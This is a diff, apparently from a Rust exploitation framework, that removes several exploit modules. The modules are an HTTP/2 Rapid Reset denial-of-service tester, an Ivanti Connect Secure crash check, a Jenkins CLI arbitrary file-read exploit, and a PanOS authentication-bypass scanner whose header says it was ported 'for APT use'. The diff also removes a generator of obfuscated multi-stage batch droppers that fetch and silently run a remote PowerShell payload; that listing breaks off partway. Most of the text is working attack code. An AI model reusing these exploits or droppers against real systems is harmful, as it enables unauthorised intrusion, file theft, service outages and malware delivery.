let run_baseline = !baseline_input.trim().to_lowercase().starts_with('n');
|
||||
|
||||
println!("\n{}", "=".repeat(60).cyan());
|
||||
println!("{}", format!("Target: {}:{}", host, port).yellow());
|
||||
println!("{}", format!("SSL: {}", if use_ssl { "Enabled" } else { "Disabled" }).yellow());
|
||||
println!("{}", "=".repeat(60).cyan());
|
||||
|
||||
// Legal disclaimer
|
||||
println!("\n{}", "LEGAL DISCLAIMER:".red().bold());
|
||||
println!("This tool is for authorized security testing only.");
|
||||
println!("Ensure you have permission to test the target system.");
|
||||
println!("Unauthorized use may be illegal.\n");
|
||||
|
||||
let mut confirm = String::new();
|
||||
print!("{}", "Do you have permission to test this system? (yes/no): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut confirm)?;
|
||||
|
||||
if !confirm.trim().to_lowercase().starts_with('y') {
|
||||
println!("{}", "Exiting. Only use this tool on systems you're authorized to test.".red());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Run baseline test
|
||||
if run_baseline {
|
||||
if let Err(e) = baseline_test(&host, port, use_ssl, 10).await {
|
||||
println!("{}", format!("[-] Baseline test error: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
// Run rapid reset test
|
||||
if let Err(e) = rapid_reset_test(&host, port, use_ssl, num_streams, delay_ms).await {
|
||||
println!("{}", format!("[-] Rapid reset test error: {}", e).red());
|
||||
}
|
||||
|
||||
println!("\n{}", "[*] Test completed.".cyan());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -1,2 +0,0 @@
|
||||
pub mod cve_2023_44487_http2_rapid_reset;
|
||||
|
||||
@@ -1,260 +0,0 @@
|
||||
//CVE-2025-22457 – Ivanti Connect Secure Stack-Based Buffer Overflow Exploit Check
|
||||
|
||||
//Author: Bryan Smith (@securekomodo)
|
||||
//Severity: Critical
|
||||
//CWE: CWE-121 – Stack-Based Buffer Overflow
|
||||
//CVSS: 9.0 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
|
||||
//Product: Ivanti Connect Secure, Ivanti Policy Secure, Ivanti ZTA Gateways
|
||||
//Affected Versions:
|
||||
// - Connect Secure < 22.7R2.6
|
||||
// - Policy Secure < 22.7R1.4
|
||||
// - ZTA Gateways < 22.8R2.2
|
||||
|
||||
// Description:
|
||||
// This script tests for the presence of CVE-2025-22457, a critical vulnerability in Ivanti Connect Secure,
|
||||
// which allows a remote unauthenticated attacker to crash the web process via a long X-Forwarded-For header.
|
||||
|
||||
// In detailed mode, the vulnerability is confirmed if:
|
||||
// 1. A pre-check GET request returns HTTP 200
|
||||
// 2. A POST request with the crafted payload receives no response (safe crash)
|
||||
// 3. A follow-up GET receives HTTP 200, verifying the previous no-response was not incidental
|
||||
|
||||
// If this sequence is observed, the system is marked as vulnerable.
|
||||
// A vulnerable system will generate the log on the server appliance:
|
||||
// ERROR31093: Program web recently failed.
|
||||
|
||||
//References:
|
||||
// - https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
|
||||
// - https://www.cvedetails.com/cve/CVE-2025-22457
|
||||
// - https://www.redlinecybersecurity.com/blog/cve-2025-22457-python-exploit-poc-scanner-to-detect-ivanti-connect-secure-rce
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
use anyhow::Result;
|
||||
use regex::Regex;
|
||||
use reqwest::{Client, StatusCode};
|
||||
use std::time::Duration;
|
||||
use tokio::time::sleep;
|
||||
use tokio::io::{self, AsyncBufReadExt, BufReader};
|
||||
use url::Url;
|
||||
|
||||
/// ANSI color codes for terminal output
|
||||
struct Colors;
|
||||
impl Colors {
|
||||
const YELLOW: &'static str = "\x1b[93m";
|
||||
const GREEN: &'static str = "\x1b[92m";
|
||||
const GRAY: &'static str = "\x1b[90m";
|
||||
const RED: &'static str = "\x1b[91m";
|
||||
const RESET: &'static str = "\x1b[0m";
|
||||
}
|
||||
|
||||
/// // Paths tested for CVE-2025-22457
|
||||
const PATHS: [&str; 2] = [
|
||||
"/dana-na/auth/url_default/welcome.cgi",
|
||||
"/dana-na/setup/psaldownload.cgi",
|
||||
];
|
||||
|
||||
/// // Headers for initial and payload requests
|
||||
fn default_headers() -> reqwest::header::HeaderMap {
|
||||
let mut headers = reqwest::header::HeaderMap::new();
|
||||
headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap());
|
||||
headers
|
||||
}
|
||||
|
||||
fn payload_headers() -> reqwest::header::HeaderMap {
|
||||
let mut headers = reqwest::header::HeaderMap::new();
|
||||
headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap());
|
||||
headers.insert("X-Forwarded-For", "1".repeat(2048).parse().unwrap());
|
||||
headers
|
||||
}
|
||||
|
||||
/// // Safe HTTP request wrapper
|
||||
async fn safe_request(
|
||||
method: &str,
|
||||
url: &str,
|
||||
headers: reqwest::header::HeaderMap,
|
||||
timeout_secs: u64,
|
||||
) -> Option<reqwest::Response> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(timeout_secs))
|
||||
.build()
|
||||
.ok()?;
|
||||
|
||||
match method {
|
||||
"GET" => client.get(url).headers(headers).send().await.ok(),
|
||||
"POST" => client.post(url).headers(headers).send().await.ok(),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// // Normalize and extract usable target URL from IPv6/host formats
|
||||
async fn normalize_target(raw: &str) -> Result<String> {
|
||||
let mut input = raw.trim().to_string();
|
||||
|
||||
// // Handle IPv6 edge brackets like [[::1]] or [[[::1]]]
|
||||
while input.starts_with('[') && input.ends_with(']') {
|
||||
input = input.trim_start_matches('[').trim_end_matches(']').to_string();
|
||||
}
|
||||
|
||||
// // Prepend https:// if missing
|
||||
if !input.starts_with("http://") && !input.starts_with("https://") {
|
||||
input = format!("https://{}", input);
|
||||
}
|
||||
|
||||
let mut parsed = Url::parse(&input)?;
|
||||
|
||||
// // Prompt for port if not present
|
||||
if parsed.port_or_known_default().is_none() {
|
||||
println!("{}No port detected. Please enter a port (e.g. 443):{}", Colors::YELLOW, Colors::RESET);
|
||||
let mut port_line = String::new();
|
||||
BufReader::new(io::stdin()).read_line(&mut port_line).await?;
|
||||
let port = port_line.trim().parse::<u16>()?;
|
||||
parsed.set_port(Some(port)).expect("invalid port");
|
||||
}
|
||||
|
||||
Ok(parsed[..].to_string())
|
||||
}
|
||||
|
||||
/// // Version info grabber for passive fingerprinting
|
||||
async fn grab_version_info(target: &str) -> Result<Option<String>> {
|
||||
let version_url = format!("{}/dana-na/auth/url_admin/welcome.cgi?type=inter", target);
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
if let Ok(r) = client.get(&version_url).send().await {
|
||||
if r.status() == StatusCode::OK {
|
||||
let body = r.text().await?;
|
||||
let name_re = Regex::new(r#"NAME="ProductName"\s+VALUE="([^"]+)""#)?;
|
||||
let ver_re = Regex::new(r#"NAME="ProductVersion"\s+VALUE="([^"]+)""#)?;
|
||||
|
||||
let name = name_re
|
||||
.captures(&body)
|
||||
.and_then(|cap| cap.get(1).map(|m| m.as_str()));
|
||||
let ver = ver_re
|
||||
.captures(&body)
|
||||
.and_then(|cap| cap.get(1).map(|m| m.as_str()));
|
||||
|
||||
if let (Some(name), Some(ver)) = (name, ver) {
|
||||
println!("{}Detected {} Version: {}{}", Colors::GREEN, name, ver, Colors::RESET);
|
||||
|
||||
// // Passive logic
|
||||
if ver.starts_with("9.") {
|
||||
println!(
|
||||
"{}PASSIVE VULNERABILITY DETECTED: 9.x versions are known to be vulnerable.{}",
|
||||
Colors::YELLOW, Colors::RESET
|
||||
);
|
||||
} else if let Ok(parsed_ver) = semver::Version::parse(ver) {
|
||||
if parsed_ver < semver::Version::parse("22.7.0")? {
|
||||
println!(
|
||||
"{}PASSIVE VULNERABILITY DETECTED: Version {} is older than 22.7.{}",
|
||||
Colors::YELLOW, ver, Colors::RESET
|
||||
);
|
||||
} else {
|
||||
println!(
|
||||
"{}Version {} appears patched.{}",
|
||||
Colors::GREEN, ver, Colors::RESET
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
return Ok(Some(version_url));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}Could not determine version (passive).{}", Colors::GRAY, Colors::RESET);
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
/// // Run detailed check using the 3-phase logic from PoC
|
||||
async fn detailed_check(target: &str) -> Result<Vec<String>> {
|
||||
println!(
|
||||
"\n{}Starting detailed check on {}{}",
|
||||
Colors::GRAY, target, Colors::RESET
|
||||
);
|
||||
|
||||
let mut vulnerable_paths = Vec::new();
|
||||
|
||||
if let Some(ver_url) = grab_version_info(target).await? {
|
||||
vulnerable_paths.push(ver_url);
|
||||
}
|
||||
|
||||
for path in PATHS {
|
||||
let full_url = format!("{target}{path}");
|
||||
println!("\n{}Testing path: {}{}", Colors::GRAY, path, Colors::RESET);
|
||||
|
||||
// // Step 1: Pre-check
|
||||
let r1 = safe_request("GET", &full_url, default_headers(), 5).await;
|
||||
if r1.as_ref().map(|r| r.status()) != Some(StatusCode::OK) {
|
||||
println!(
|
||||
"{}Pre-check failed (status: {}). Skipping...{}",
|
||||
Colors::GRAY,
|
||||
r1.as_ref().map(|r| r.status().as_u16()).unwrap_or(0),
|
||||
Colors::RESET
|
||||
);
|
||||
continue;
|
||||
}
|
||||
|
||||
println!("{}Pre-check successful (HTTP 200){}", Colors::GREEN, Colors::RESET);
|
||||
|
||||
// // Step 2: Payload
|
||||
let r2 = safe_request("POST", &full_url, payload_headers(), 10).await;
|
||||
if r2.is_some() {
|
||||
println!("{}Payload returned response. Not vulnerable.{}", Colors::GRAY, Colors::RESET);
|
||||
continue;
|
||||
}
|
||||
|
||||
println!(
|
||||
"{}No response to payload (expected crash behavior).{}",
|
||||
Colors::GREEN, Colors::RESET
|
||||
);
|
||||
|
||||
// // Step 3: Follow-up GET
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
let r3 = safe_request("GET", &full_url, default_headers(), 5).await;
|
||||
|
||||
if r3.as_ref().map(|r| r.status()) == Some(StatusCode::OK) {
|
||||
println!(
|
||||
"{}Follow-up returned HTTP 200. Crash condition verified.{}",
|
||||
Colors::GREEN, Colors::RESET
|
||||
);
|
||||
println!(
|
||||
"{}VULNERABLE: {}{}{}",
|
||||
Colors::YELLOW, target, path, Colors::RESET
|
||||
);
|
||||
vulnerable_paths.push(full_url);
|
||||
} else {
|
||||
println!(
|
||||
"{}Follow-up failed. Crash condition not confirmed.{}",
|
||||
Colors::GRAY, Colors::RESET
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(vulnerable_paths)
|
||||
}
|
||||
|
||||
/// // Required entry point for RouterSploit-style dispatcher
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let normalized = normalize_target(target).await?;
|
||||
let result = detailed_check(&normalized).await?;
|
||||
|
||||
if !result.is_empty() {
|
||||
println!(
|
||||
"\n{}Exploit result: SUCCESS – vulnerable paths found.{}",
|
||||
Colors::YELLOW, Colors::RESET
|
||||
);
|
||||
} else {
|
||||
println!(
|
||||
"\n{}Exploit result: NOT VULNERABLE – no indicators.{}",
|
||||
Colors::RED, Colors::RESET
|
||||
);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
pub mod ivanti_connect_secure_stack_based_buffer_overflow;
|
||||
@@ -1,238 +0,0 @@
|
||||
use std::io::{self, Write};
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::time::Duration;
|
||||
use anyhow::{Result, bail, Context};
|
||||
use colored::*;
|
||||
use tokio::time::sleep;
|
||||
use reqwest::{Client};
|
||||
use uuid::Uuid;
|
||||
use regex::Regex;
|
||||
|
||||
const TIMEOUT_SECS: u64 = 4;
|
||||
|
||||
#[derive(Clone)]
|
||||
struct ExploitState {
|
||||
url: String,
|
||||
identifier: String,
|
||||
client: Client,
|
||||
listening: Arc<Mutex<bool>>,
|
||||
}
|
||||
|
||||
impl ExploitState {
|
||||
fn new(url: String, identifier: String) -> Self {
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(TIMEOUT_SECS))
|
||||
.build()
|
||||
.expect("Failed to create HTTP client");
|
||||
|
||||
Self {
|
||||
url,
|
||||
identifier,
|
||||
client,
|
||||
listening: Arc::new(Mutex::new(false)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn listen_and_print(&self) -> Result<()> {
|
||||
let response = self.client
|
||||
.post(&self.url)
|
||||
.query(&[("remoting", "false")])
|
||||
.header("Side", "download")
|
||||
.header("Session", &self.identifier)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to connect to target for listener")?;
|
||||
|
||||
let output = response.text().await?;
|
||||
self.print_formatted_output(&output);
|
||||
|
||||
*self.listening.lock().unwrap() = false;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_formatted_output(&self, output: &str) {
|
||||
if output.contains("ERROR: No such file") {
|
||||
println!("{}", "File not found.".red());
|
||||
return;
|
||||
} else if output.contains("ERROR: Failed to parse") {
|
||||
println!("{}", "Could not read file.".red());
|
||||
return;
|
||||
}
|
||||
|
||||
let re = Regex::new(r#"No such agent "(.*)" exists."#).unwrap();
|
||||
let results: Vec<String> = re
|
||||
.captures_iter(output)
|
||||
.filter_map(|cap| cap.get(1).map(|m| m.as_str().to_string()))
|
||||
.collect();
|
||||
|
||||
if !results.is_empty() {
|
||||
for line in results {
|
||||
println!("{}", line);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn send_file_request(&self, filepath: &str) -> Result<()> {
|
||||
let payload = get_payload(filepath);
|
||||
|
||||
self.client
|
||||
.post(&self.url)
|
||||
.query(&[("remoting", "false")])
|
||||
.header("Side", "upload")
|
||||
.header("Session", &self.identifier)
|
||||
.body(payload)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send file request")?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn read_file(&self, filepath: &str) -> Result<()> {
|
||||
*self.listening.lock().unwrap() = true;
|
||||
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
|
||||
if let Err(e) = self.send_file_request(filepath).await {
|
||||
*self.listening.lock().unwrap() = false;
|
||||
return Err(e);
|
||||
}
|
||||
|
||||
while *self.listening.lock().unwrap() {
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}
|
||||
|
||||
self.listen_and_print().await?;
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
fn get_payload_message(operation_index: u8, text: &str) -> Vec<u8> {
|
||||
let text_bytes = text.as_bytes();
|
||||
let text_size = text_bytes.len() as u16;
|
||||
|
||||
let mut text_message = Vec::new();
|
||||
text_message.extend_from_slice(&text_size.to_be_bytes());
|
||||
text_message.extend_from_slice(text_bytes);
|
||||
|
||||
let message_size = text_message.len() as u32;
|
||||
|
||||
let mut payload = Vec::new();
|
||||
payload.extend_from_slice(&message_size.to_be_bytes());
|
||||
payload.push(operation_index);
|
||||
payload.extend_from_slice(&text_message);
|
||||
|
||||
payload
|
||||
}
|
||||
|
||||
fn get_payload(filepath: &str) -> Vec<u8> {
|
||||
let arg_operation = 0u8;
|
||||
let start_operation = 3u8;
|
||||
|
||||
let command = get_payload_message(arg_operation, "connect-node");
|
||||
let poisoned_argument = get_payload_message(arg_operation, &format!("@{}", filepath));
|
||||
|
||||
let mut payload = Vec::new();
|
||||
payload.extend_from_slice(&command);
|
||||
payload.extend_from_slice(&poisoned_argument);
|
||||
payload.push(start_operation);
|
||||
|
||||
payload
|
||||
}
|
||||
|
||||
fn make_path_absolute(filepath: &str) -> String {
|
||||
if filepath.starts_with('/') {
|
||||
filepath.to_string()
|
||||
} else {
|
||||
format!("/proc/self/cwd/{}", filepath)
|
||||
}
|
||||
}
|
||||
|
||||
fn format_target_url(url: &str) -> String {
|
||||
let url = url.trim_end_matches('/');
|
||||
format!("{}/cli", url)
|
||||
}
|
||||
|
||||
async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
|
||||
println!("{}", "Press Ctrl+C to exit".cyan());
|
||||
|
||||
loop {
|
||||
print!("{}", "File to download:\n> ".green().bold());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut input = String::new();
|
||||
match io::stdin().read_line(&mut input) {
|
||||
Ok(0) => break,
|
||||
Ok(_) => {
|
||||
let filepath = input.trim();
|
||||
if filepath.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let absolute_path = make_path_absolute(filepath);
|
||||
|
||||
match state.read_file(&absolute_path).await {
|
||||
Ok(_) => {}
|
||||
Err(e) => {
|
||||
if e.to_string().contains("timeout") {
|
||||
println!("{}", "Payload request timed out.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("Error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("Error reading input: {}", e);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn run(args: &str) -> Result<()> {
|
||||
let parts: Vec<&str> = args.split_whitespace().collect();
|
||||
|
||||
if parts.is_empty() {
|
||||
bail!("Usage: <url> [filepath]\nExample: http://example.com/ /etc/passwd");
|
||||
}
|
||||
|
||||
let url = format_target_url(parts[0]);
|
||||
let filepath = parts.get(1).map(|s| s.to_string());
|
||||
let identifier = Uuid::new_v4().to_string();
|
||||
|
||||
println!("{}", format!("[*] Target: {}", url).cyan().bold());
|
||||
println!("{}", format!("[*] Session ID: {}", identifier).cyan());
|
||||
|
||||
let state = ExploitState::new(url, identifier);
|
||||
|
||||
if let Some(path) = filepath {
|
||||
let absolute_path = make_path_absolute(&path);
|
||||
println!("{}", format!("[*] Reading file: {}", absolute_path).cyan());
|
||||
|
||||
match state.read_file(&absolute_path).await {
|
||||
Ok(_) => println!("{}", "[+] File read complete".green().bold()),
|
||||
Err(e) => {
|
||||
if e.to_string().contains("timeout") {
|
||||
println!("{}", "[-] Payload request timed out.".red());
|
||||
} else {
|
||||
println!("{}", format!("[-] Error: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
match start_interactive_file_read(state).await {
|
||||
Ok(_) => {}
|
||||
Err(e) => {
|
||||
if !e.to_string().contains("Interrupted") {
|
||||
eprintln!("Error: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
println!("\n{}", "Quitting".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
pub mod jenkins_2_441_lfi;
|
||||
@@ -1,20 +0,0 @@
|
||||
pub mod generic;
|
||||
pub mod sample_exploit;
|
||||
pub mod payloadgens;
|
||||
pub mod tplink;
|
||||
pub mod ssh;
|
||||
pub mod spotube;
|
||||
pub mod ftp;
|
||||
pub mod zabbix;
|
||||
pub mod abus;
|
||||
pub mod uniview;
|
||||
pub mod avtech;
|
||||
pub mod acti;
|
||||
pub mod zte;
|
||||
pub mod ivanti;
|
||||
pub mod apache_tomcat;
|
||||
pub mod palo_alto;
|
||||
pub mod roundcube;
|
||||
pub mod flowise;
|
||||
pub mod http2;
|
||||
pub mod jenkins;
|
||||
@@ -1 +0,0 @@
|
||||
pub mod panos_authbypass_cve_2025_0108;
|
||||
@@ -1,165 +0,0 @@
|
||||
// Filename: cve_2025_0108.rs
|
||||
// CVE-2025-0108 - PanOS Authentication Bypass
|
||||
// Author: iSee857
|
||||
// Ported to Rust by ethical hacker daniel for APT use
|
||||
|
||||
use anyhow::{Context, Result, bail};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{self, BufRead, BufReader, Write},
|
||||
process::Command,
|
||||
time::Duration,
|
||||
};
|
||||
use url::Url;
|
||||
|
||||
/// Displays module banner
|
||||
fn banner() {
|
||||
println!(
|
||||
"{}",
|
||||
r#"
|
||||
****************************************************
|
||||
* CVE-2025-0108 *
|
||||
* PanOs 身份认证绕过漏洞 *
|
||||
* 作者: iSee857 *
|
||||
****************************************************
|
||||
"#
|
||||
.cyan()
|
||||
);
|
||||
}
|
||||
|
||||
/// Reads target list from file
|
||||
fn read_file(file_path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(file_path)
|
||||
.with_context(|| format!("Failed to open file: {}", file_path))?;
|
||||
let reader = BufReader::new(file);
|
||||
let urls: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|line| {
|
||||
let line = line.ok()?;
|
||||
let trimmed = line.trim();
|
||||
if trimmed.is_empty() || trimmed.starts_with('#') {
|
||||
None
|
||||
} else {
|
||||
Some(trimmed.to_string())
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
Ok(urls)
|
||||
}
|
||||
|
||||
/// Normalize IPv6 host with double or triple brackets
|
||||
fn normalize_ipv6_host(host: &str) -> String {
|
||||
let stripped = host.trim_matches(|c| c == '[' || c == ']');
|
||||
if stripped.contains(':') {
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
stripped.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Constructs the full normalized URL
|
||||
fn normalize_url(host: &str, port: u16, proto: &str) -> Option<String> {
|
||||
let host = normalize_ipv6_host(host);
|
||||
let base = format!("{}{}:{}", proto, host, port);
|
||||
Url::parse(&base).ok().map(|u| u.to_string())
|
||||
}
|
||||
|
||||
/// Opens a URL in the default system browser
|
||||
fn open_browser(url: &str) -> Result<()> {
|
||||
#[cfg(target_os = "linux")]
|
||||
let cmd = Command::new("xdg-open").arg(url).spawn();
|
||||
|
||||
#[cfg(target_os = "windows")]
|
||||
let cmd = Command::new("cmd").args(["/C", "start", url]).spawn();
|
||||
|
||||
#[cfg(target_os = "macos")]
|
||||
let cmd = Command::new("open").arg(url).spawn();
|
||||
|
||||
if cmd.is_err() {
|
||||
bail!("Could not open default browser.");
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Executes CVE-2025-0108 check
|
||||
async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
|
||||
let protocols = ["http://", "https://"];
|
||||
let path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css";
|
||||
|
||||
for proto in &protocols {
|
||||
if let Some(base_url) = normalize_url(url, port, proto) {
|
||||
let full_url = format!("{}{}", base_url.trim_end_matches('/'), path);
|
||||
println!("{}", format!("[*] Testing: {}", full_url).yellow());
|
||||
|
||||
let resp = client.get(&full_url).send().await;
|
||||
|
||||
if let Ok(res) = resp {
|
||||
let status = res.status();
|
||||
let body = res.text().await.unwrap_or_default();
|
||||
|
||||
if status.as_u16() == 200 && body.contains("Zero Touch Provisioning") {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", url, port)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
println!("{}", format!("[*] Vulnerable URL: {}", full_url).cyan());
|
||||
let _ = open_browser(&full_url);
|
||||
return Ok(true);
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[-] Not vulnerable: {}:{} - Response code: {}", url, port, status.as_u16())
|
||||
.red()
|
||||
);
|
||||
}
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[-] Error connecting to {}:{}", url, port).red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Main entry point for auto-dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
banner();
|
||||
|
||||
let mut port_input = String::new();
|
||||
print!("{}", "Enter target port (default 443): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut port_input)?;
|
||||
let port: u16 = port_input.trim().parse().unwrap_or(443);
|
||||
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(10))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.context("Failed to create HTTP client")?;
|
||||
|
||||
if target.ends_with(".txt") {
|
||||
let urls = read_file(target)?;
|
||||
if urls.is_empty() {
|
||||
return Err(anyhow::anyhow!("No URLs found in file: {}", target));
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} URLs from file", urls.len()).yellow());
|
||||
let mut vulnerable_count = 0;
|
||||
for url in urls {
|
||||
if check(&url, port, &client).await? {
|
||||
vulnerable_count += 1;
|
||||
}
|
||||
}
|
||||
println!("{}", format!("[*] Scan completed. Found {} vulnerable target(s)", vulnerable_count).cyan());
|
||||
} else {
|
||||
let _ = check(target, port, &client).await?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,142 +0,0 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use rand::{seq::SliceRandom, rng};
|
||||
use std::{
|
||||
fs,
|
||||
io::{self, Write},
|
||||
path::Path,
|
||||
};
|
||||
|
||||
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
|
||||
|
||||
fn prompt(prompt: &str) -> Result<String> {
|
||||
print!("{}", prompt.cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut buffer = String::new();
|
||||
io::stdin().read_line(&mut buffer)?;
|
||||
Ok(buffer.trim().to_string())
|
||||
}
|
||||
|
||||
fn base64_split_encode(url: &str) -> (String, String) {
|
||||
let mid = url.len() / 2;
|
||||
let (first, second) = url.split_at(mid);
|
||||
let first_encoded = BASE64_STANDARD.encode(first);
|
||||
let second_encoded = BASE64_STANDARD.encode(second);
|
||||
(first_encoded, second_encoded)
|
||||
}
|
||||
|
||||
fn write_payload_chain(stage1_path: &str, url: &str, output_ps1: &str) -> Result<()> {
|
||||
let mut symbols = vec![
|
||||
"测试", "測試", "例え", "例子", "示例", "示意", "探索", "神秘",
|
||||
"✂", "✈", "☎", "☂", "☯", "✉", "✏", "✒", "✇", "✈✂", "📌", "🎴", "項目", "数据", "样本", "分析",
|
||||
];
|
||||
let mut rng = rng();
|
||||
symbols.shuffle(&mut rng);
|
||||
|
||||
let s2 = symbols[0].to_string();
|
||||
let s3 = symbols[1].to_string();
|
||||
let s4 = symbols[2].to_string();
|
||||
let _f1 = symbols[3].to_string();
|
||||
let _f2 = symbols[4].to_string();
|
||||
let _f3 = symbols[5].to_string();
|
||||
|
||||
let base = Path::new(stage1_path).parent().unwrap_or_else(|| Path::new("."));
|
||||
let _stage1 = Path::new(stage1_path);
|
||||
let _stage2 = base.join(format!("{s2}.bat"));
|
||||
let _stage3 = base.join(format!("{s3}.bat"));
|
||||
let _stage4 = base.join(format!("{s4}.bat"));
|
||||
|
||||
// Encode URL
|
||||
let (part1_b64, part2_b64) = base64_split_encode(url);
|
||||
|
||||
// === Stage 1: writes stage2.bat ===
|
||||
let stage1_contents = format!(
|
||||
r#"@echo off
|
||||
setlocal EnableDelayedExpansion
|
||||
cls >nul
|
||||
:: Sleep random 1-4 seconds
|
||||
set /a RND=1+%RANDOM%%%4
|
||||
timeout /t %RND% /nobreak >nul
|
||||
|
||||
:: Five explicit 1-second sleeps at stage 1
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
|
||||
echo Creating next stage...
|
||||
(
|
||||
echo @echo off
|
||||
echo setlocal EnableDelayedExpansion
|
||||
echo cls ^>nul
|
||||
echo set /a RND=1+%%RANDOM%%%%4
|
||||
echo timeout /t %%RND%% /nobreak ^>nul
|
||||
|
||||
:: Five explicit 1-second sleeps for stage 2
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
|
||||
echo echo Creating next stage...
|
||||
echo (
|
||||
echo @echo off
|
||||
echo setlocal EnableDelayedExpansion
|
||||
echo cls ^>nul
|
||||
echo set /a RND=1+%%RANDOM%%%%4
|
||||
echo timeout /t %%RND%% /nobreak ^>nul
|
||||
|
||||
:: Five explicit 1-second sleeps for stage 3
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
|
||||
echo echo Creating final stage...
|
||||
echo (
|
||||
echo @echo off
|
||||
echo setlocal EnableDelayedExpansion
|
||||
echo cls ^>nul
|
||||
echo set /a RND=1+%%RANDOM%%%%4
|
||||
echo timeout /t %%RND%% /nobreak ^>nul
|
||||
echo set part1={part1_b64}
|
||||
echo set part2={part2_b64}
|
||||
echo powershell -WindowStyle Hidden -Command ^^"
|
||||
echo $p1 = $env:part1;
|
||||
echo $p2 = $env:part2;
|
||||
echo $u = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p1)) + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p2));
|
||||
echo Invoke-WebRequest -Uri $u -OutFile '{output_ps1}';
|
||||
echo Start-Process -WindowStyle Hidden powershell -ArgumentList '-ExecutionPolicy Bypass -File {output_ps1}';
|
||||
echo ^^"
|
||||
echo exit
|
||||
echo ) > "{s4}"
|
||||
echo timeout /t 600 /nobreak ^>nul :: Wait 10 minutes before stage 4
|
||||
echo start "" /B "{s4}" :: Launch stage 4 in background
|
||||
echo exit
|
||||
echo ) > "{s3}"
|
||||
